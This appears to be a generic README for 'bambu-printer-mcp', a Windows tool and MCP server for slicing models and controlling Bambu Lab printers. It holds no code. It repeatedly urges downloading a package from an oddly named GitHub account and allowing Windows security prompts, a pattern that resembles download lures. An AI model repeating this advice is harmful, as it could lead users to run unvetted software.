🤖 bambu-printer-mcp - Control Bambu printers with ease

🖥️ What this app does

bambu-printer-mcp helps you work with a Bambu Lab 3D printer from your computer. It can help with STL files, slicing in BambuStudio, and direct printer control.

Use it to:

Prepare 3D models for printing
Send jobs to a Bambu Lab printer
Check printer status
Work with STL and 3MF files
Connect printer actions to other tools through MCP

📦 What you need

Before you install the app, make sure you have:

A Windows PC
A Bambu Lab 3D printer
Bambu Studio installed
A stable network connection
Enough free disk space for model files and print jobs

🚀 Getting Started

Open the project page: https://github.com/offthehook-implication870/bambu-printer-mcp
Download or clone the project from that page
Install the required files on your Windows PC
Open the app or start the server
Connect it to your Bambu Lab printer
Test a simple model or printer command

⬇️ Download and install

Visit this page to download and set up the software:

https://github.com/offthehook-implication870/bambu-printer-mcp

If you see a releases area, get the latest Windows package from there. If the project page gives you source files, download the project files and place them in a folder on your PC.

After you download it:

Right-click the file or folder
Choose Extract All if it is a ZIP file
Move the files to a folder you can find again
Keep Bambu Studio installed on the same PC
Open the setup steps from the project page and follow them in order

🔧 Basic setup

Open the project folder
Find the start file or setup file
Run it on your Windows PC
Allow Windows to finish any security prompt if it appears
Enter your printer details if asked
Start BambuStudio if the app asks for it
Check that the printer shows as connected

🧩 How it fits into your workflow

This tool is useful when you want one place to handle print tasks.

It can help you:

Load an STL file
Prepare the model for slicing
Send the sliced job to your printer
Check print progress
Handle printer commands from another tool that supports MCP

If you already use Bambu Studio, this app can work beside it and make routine steps easier to manage.

🧰 Main features

STL file handling
3MF support
BambuStudio slicing support
Direct printer control
MQTT-based printer communication
MCP support for linked tools
Help with printer tasks from your desktop
Simple setup for Windows users

🗂️ File types you may use

You may work with these file types:

STL
3MF
Project files from Bambu Studio
Print profiles
G-code related files, when used in your workflow

🪟 Windows use

This project is made for people who want to run it on Windows.

Typical steps on Windows:

Download the project
Put it in a folder
Install any needed tools
Start the server or app
Connect your printer
Begin a test print or check printer status

If Windows asks for permission, allow the app to run so it can reach your printer and local files.

🔌 Printer connection

To connect your Bambu Lab printer:

Make sure the printer is on the same network
Check the printer IP address or connection method
Follow the project setup for login or pairing
Confirm the printer appears as ready
Try a simple status check before sending a print

If you have more than one printer, set them up one at a time so you can verify each connection.

🧠 Using with other tools

bambu-printer-mcp works as an MCP server. That means other tools can talk to it and ask it to do printer-related tasks.

This can help you:

Automate print steps
Link printer actions to your own local tools
Build a smoother workflow for 3D printing
Keep model prep and printer control in one chain

🛠️ Common tasks

Load a model

Open the app or server
Choose your STL or 3MF file
Confirm the model is ready for slicing

Slice a model

Open the model in BambuStudio
Pick a print profile
Start slicing
Save or send the result

Send to printer

Choose the printer
Review the job
Start the print

Check printer status

Open the status view
Look at the current job
Confirm temperatures and connection state

📁 Suggested folder setup

A simple folder layout can help:

C:\3D-Printing\bambu-printer-mcp
C:\3D-Printing\Models
C:\3D-Printing\Exports
C:\3D-Printing\Profiles

This makes it easier to find files later.

🧪 First test

After setup, try this:

Open a small STL file
Slice it in BambuStudio
Send a short test job to the printer
Watch the printer status
Confirm the job starts as expected

Use a small model first so you can check your setup without wasting time or material.

❓ Troubleshooting

The printer does not connect

Check that the printer is on
Check the network connection
Confirm the IP address or pairing details
Restart the app and try again

BambuStudio does not start

Check that BambuStudio is installed
Open it once by hand
Make sure Windows did not block it

Files do not open

Check that the file is STL or 3MF
Move the file to a simple folder path
Avoid folder names with special characters

The job does not send

Check the printer state
Make sure the model finished slicing
Confirm there is enough space on the printer side
Try a fresh start of the app and printer

🔒 Local use

This project is meant for your own printer setup on your local computer or network. Keep your printer details private and store your files in a folder you control.

📚 Project topics

This repository includes tools and ideas related to:

3D printing
Bambu Lab printers
Bambu Studio
STL tools
Slicer workflows
MQTT
FTP
Blender
MCP
Model Context Protocol
Printer control

🧭 Best results

For the smoothest setup:

Use a clean Windows folder
Keep BambuStudio updated
Start with one printer
Test with a small model
Read the project page before changing settings

📥 Download again

If you need the project page again, use this link: